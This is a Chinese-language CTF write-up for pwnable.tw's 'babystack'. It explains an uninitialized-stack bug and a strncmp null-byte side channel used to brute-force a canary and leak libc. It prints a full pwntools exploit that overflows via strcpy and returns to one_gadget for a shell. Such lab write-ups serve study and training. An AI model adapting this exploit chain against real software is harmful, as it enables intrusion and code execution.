pwnable-babystack

pwnable上300分的babystack。第二次见到利用栈残余数据完成的攻击。利用测信道(不过是程序内的)完成爆破,一开始也没有想到。只能说这题非常巧妙了。做了整整两个晚上才做完。

逆向分析

保护

image-20220214190509919

可以看到保护全开。由于看名字是栈,这里有canary可能是需要爆破之类的。PIE开启,说明也不能用ROP,考虑用one_gadget解决。那么需要泄露libc,但是也不是堆…(开始胡言乱语)

言归正传,不如看一下IDA。小然会欺骗你,但IDA不会(doge)。

程序分析

程序主要实现三个功能:登录,copy数据和退出程序。

copy数据时需要登陆。登录的规则是将输入和一串random输入的数据比较。这里很容易看出strncmp有\x00字符绕过。因此绕过登录十分简单。

copy时会将用户输入copy到调用者栈上的一个局部变量中。使用的是危险函数strcpy,但是输入大小小于缓冲区大小。似乎我们可以利用strcmp输入到0才结束的条件多复制一些数据。但似乎也无法溢出到返回地址。

image-20220214191516473

退出程序的时候会调用return而不是exit,说明可以利用return的返回地址。

乍一看似乎没有明显的漏洞。

漏洞点

这里是上网查找资料发现。和pwnable.tw上面另一道题see-the-file一样,这里也存在着栈未初始化漏洞(但是很奇怪,现在的ctf比赛中似乎很少涉及这样的漏洞)。注意到以下内容

image-20220214191745504

我们在比较real_passwd(随机值)和用户输入时,读取了128个字节。这将最多向上覆盖掉栈的128字节内容。

而我们的copy函数中,所需栈空间正好也是128byte。这说明我们通过cmp_passwd能够完全控制copy函数的栈空间!因此也就能完成消除堆地址或者libc地址附近的\x00字节,完成堆溢出。

image-20220214192035964

想到这里似乎开心了一下,起码溢出点找到了。但是问题随之而来:怎样泄露libc?怎样泄露canary? 程序中似乎没有直接的泄露函数,好像又没了思路。

这里其实是另一种侧信道的思想。也就是pwn中”or”(原先是”orw”,缺少了write即输出函数)题目的思想:根据函数返回值判断一个byte输入正确与否,经过很多次的比较完成确定byte。本题中有一个天然的比较函数,也就是登陆时判断输入和main的栈空间中特定位置是否相同的比较函数。比较容易想到:只需要通过00截断,就可以比较任意位置的byte。通过这种机制泄露libc信息和canary数值即可。

这道题另一个有趣的地方是,本题的canary验证是自己写的,并不依赖编译器。如下图

image-20220214192747990

通过动态调试发现,所比较的内容正是我们读入的password和原先的random数值。因此我们还不能简单\x00绕过登陆检验就结束,还需要真正的爆破出随机数。

这就牵涉到另一个问题:如果随机数中或者我们要爆破的libc信息中包含了\x00,怎么办?因为我们input不能包含\x00,否则就会被截断,但是比较又要涉及这个byte。

一个解决办法是出现\x00就保存上次的信息,重新填充栈为已知数值之后再次爆破。经过实际测算,发生这样事件的概率很小。如果碰到只需要重来就行。因此我们的步骤如下。

步骤

  1. 爆破随机数
  2. 利用get_password+copy覆盖原先栈中buf中的\x00byte直到一个libc地址,再次逐字节爆破。
  3. 写回canary,写回程序返回位置(使用one_gadget)

编写exp

get_random

首先是爆破random的函数。这里就是幼儿园都会的逐字节比较,如果比较到0xff还没有结果,说明今天适合买彩票。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_random():
random_pre = b""
result_case = []
break_flag = 0
for i in range(0,16):
for j in range(1,0x100):
# if there exist one zero,not right,bad luck
random_test = random_pre + p8(j) + p8(0x0) # from the test case
result = get_passwd(random_test)
if(result ==True):
success('result for byte ' + repr(i) + ' is ' + repr(hex(j)))
random_pre+=p8(j)
result_case.append(j)
io.recvuntil('>> ')
io.sendline('1') # log out
break
if(j == 0xff):
print("bad luck") # contains \x00 byte, must overlap and exploit the rest bytes
return result_case

get_libc

get_libc本来不用这么复杂,我只是把循环写开了(因为一开始没有注意到还要爆破一个canary…)原理和上面一模一样的。一开始的password_pre只是在栈上找到了一个libc信息的偏移位置。这个要经过调试才能发现为什么要这么写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
def get_libc():
result = False
# password_pre = b"a"*0x10+p8(0x31)+p8(0xa)+p8(0x61)*6+b"a"*0x10+p8(0x30)
password_pre = b"a"*0x10+p8(0x31)+p8(0xa)+p8(0x61)*(6)+p8(0xb4)
for i in range(1,0xff):
# print("test bit1: " + hex(i))
password_test = password_pre + p8(i) + b'\x00'
# gdb.attach(io,"brva 0xE43")
result = get_passwd(password_test)
if(result == True):
success("libc byte one: " + hex(i))
break
# else:
# get_passwd('\x00') # get pass for the nect chance
password_pre+=p8(i)
io.recvuntil('>> ')
io.sendline('1') # reset
# gdb.attach(io,"brva 0xE43") # break at strncmp
for j in range(1,0xff):
# print("test bit2: " + hex(j))
password_test = password_pre + p8(j) + b'\x00'
result = get_passwd(password_test)
if(result == True):
success("libc byte two: " + hex(j))
break
password_pre+=p8(j)
io.recvuntil('>> ')
io.sendline('1') # reset
for k in range(1,0xff):
# print("test bit3: " + hex(k))
password_test = password_pre + p8(k) + b'\x00'
result = get_passwd(password_test)
if(result == True):
success("libc byte thee: " + hex(k))
break
password_pre+=p8(k)
io.recvuntil('>> ')
io.sendline('1') # reset
for l in range(1,0xff):
# print("test bit4: " + hex(l))
password_test = password_pre + p8(l) + b'\x00'
result = get_passwd(password_test)
if(result == True):
success("libc byte 4: " + hex(l))
break

libc_info = (0x7f << 0x28) + (l << 0x20) + (k << 0x18) + (j << 0x10) + (i << 0x8) + 0xb4
success("libc_info: " + hex(libc_info))
return libc_info

getshell

最后一个getshell就是利用登陆函数布置好栈,借用copy一次性复制过去导致栈溢出。放好random1和random2绕过canary。最终触发one_gadget结束。

1
2
3
4
5
6
7
8
9
10
11
12
13
# final OG to ret to hijack, since we don't leak pie base
og = [0x45216,0x4526a,0xef6c4,0xf0567]

password3 = b'\x00' + b'a'*63 + p64(random1) + p64(random2) + b'a'*0x18 + p64(libc_base + og[0])*2
io.recvuntil('>> ')
io.sendline('1') # log out
get_passwd(password3) # pass
payload2 = b'aaaaaaaa'
copy(payload1)
# gdb.attach(io,"brva 0xFF1") # break at memcmp
# gdb.attach(io,"brva 0x1051") # break at leave return
io.recvuntil('>> ')
io.sendline('2') # exit

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from keyring import get_password
from pwn import *
from sqlalchemy import true
filename="./babystack"
libc_name="libc_64.so.6"
io = process(filename)
# context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']


password1 = b'\x00ab'
password2 = b'\x00'+b'a'*63+b"a"*16+p8(0xff)+b'a'*(7)

password_getrandom = b'\x00'+p64(0xdeadbeef)


def get_passwd(passwd):
io.recvuntil('>> ')
io.sendline('1')
io.recvuntil('Your passowrd :')
io.send(passwd)
if(b'Success' in io.recvline()):
# success("right")
return True
else:
return False


def copy(payload):
io.recvuntil('>> ')
io.sendline('3')
io.recvuntil('Copy :')
io.send(payload)

def debug():
gdb.attach(io,"brva 0xEA5")


def get_libc():
result = False
# password_pre = b"a"*0x10+p8(0x31)+p8(0xa)+p8(0x61)*6+b"a"*0x10+p8(0x30)
password_pre = b"a"*0x10+p8(0x31)+p8(0xa)+p8(0x61)*(6)+p8(0xb4)
for i in range(1,0xff):
# print("test bit1: " + hex(i))
password_test = password_pre + p8(i) + b'\x00'
# gdb.attach(io,"brva 0xE43")
result = get_passwd(password_test)
if(result == True):
success("libc byte one: " + hex(i))
break
# else:
# get_passwd('\x00') # get pass for the nect chance
password_pre+=p8(i)
io.recvuntil('>> ')
io.sendline('1') # reset
# gdb.attach(io,"brva 0xE43") # break at strncmp
for j in range(1,0xff):
# print("test bit2: " + hex(j))
password_test = password_pre + p8(j) + b'\x00'
result = get_passwd(password_test)
if(result == True):
success("libc byte two: " + hex(j))
break
password_pre+=p8(j)
io.recvuntil('>> ')
io.sendline('1') # reset
for k in range(1,0xff):
# print("test bit3: " + hex(k))
password_test = password_pre + p8(k) + b'\x00'
result = get_passwd(password_test)
if(result == True):
success("libc byte thee: " + hex(k))
break
password_pre+=p8(k)
io.recvuntil('>> ')
io.sendline('1') # reset
for l in range(1,0xff):
# print("test bit4: " + hex(l))
password_test = password_pre + p8(l) + b'\x00'
result = get_passwd(password_test)
if(result == True):
success("libc byte 4: " + hex(l))
break

libc_info = (0x7f << 0x28) + (l << 0x20) + (k << 0x18) + (j << 0x10) + (i << 0x8) + 0xb4
success("libc_info: " + hex(libc_info))
return libc_info



def get_random():
random_pre = b""
result_case = []
break_flag = 0
for i in range(0,16):
for j in range(1,0x100):
# if there exist one zero,not right,bad luck
random_test = random_pre + p8(j) + p8(0x0) # from the test case
result = get_passwd(random_test)
if(result ==True):
success('result for byte ' + repr(i) + ' is ' + repr(hex(j)))
random_pre+=p8(j)
result_case.append(j)
io.recvuntil('>> ')
io.sendline('1') # log out
break
if(j == 0xff):
print("bad luck") # contains \x00 byte, must overlap and exploit the rest bytes
return result_case

random_case = get_random()
# print(random_case)
random1 = (random_case[7]<<0x38) + (random_case[6]<<0x30) + (random_case[5]<<0x28) + (random_case[4]<<0x20) + (random_case[3]<<0x18) + (random_case[2]<<0x10) + (random_case[1]<<0x8) + (random_case[0])
random2 = (random_case[15]<<0x38) + (random_case[14]<<0x30) + (random_case[13]<<0x28) + (random_case[12]<<0x20) + (random_case[11]<<0x18) + (random_case[10]<<0x10) + (random_case[9]<<0x8) + (random_case[8])

success("random1: " + hex(random1))
success("random2: " + hex(random2))

# write stack , then following copying do the copy
# gdb.attach(io,"brva 0xE43")
# pause()
get_passwd(password2) # least bit will be zero, ending copying
payload1 = b'a'
copy(payload1) # copy, overlap password and cause overflow
# gdb.attach(io,"brva 0xE43") # break at strncmp

io.recvuntil('>> ')
io.sendline('1') # log out
libc_info = get_libc()
libc_base = libc_info - 0x06ffb4
success("libc_base:" + hex(libc_base))


# final OG to ret to hijack, since we don't leak pie base
og = [0x45216,0x4526a,0xef6c4,0xf0567]

password3 = b'\x00' + b'a'*63 + p64(random1) + p64(random2) + b'a'*0x18 + p64(libc_base + og[0])*2
io.recvuntil('>> ')
io.sendline('1') # log out
get_passwd(password3) # pass
payload2 = b'aaaaaaaa'
copy(payload1)
# gdb.attach(io,"brva 0xFF1") # break at memcmp
# gdb.attach(io,"brva 0x1051") # break at leave return
io.recvuntil('>> ')
io.sendline('2') # exit


io.interactive()

image-20220214194526112

后记

关于栈未初始化漏洞,我觉得其实可以深入挖掘一下,因为这十分细节,而且一般防御方法很难做到对栈保护(除非每次调用玩清零,但是这涉及到虚拟内存不同位置的多次IO,可能需要很大的开销)

其实编写利用栈残留数据的题目挺难的。在pwnable上面见到了两道,一般的比赛中很少见到。

(另外pwnable.tw服务器越来越慢了:(之前做的两题加上这个都没法交,尤其是这个爆破的,估计按照服务器的速度,要至少两三个小时,早就触发alarm了)不过不得不说,pwnable.tw还是值得刷的!

文章目录
  1. 1. 逆向分析
    1. 1.1. 保护
    2. 1.2. 程序分析
    3. 1.3. 漏洞点
    4. 1.4. 步骤
  2. 2. 编写exp
    1. 2.1. get_random
    2. 2.2. get_libc
    3. 2.3. getshell
    4. 2.4. 完整exp
  3. 3. 后记
|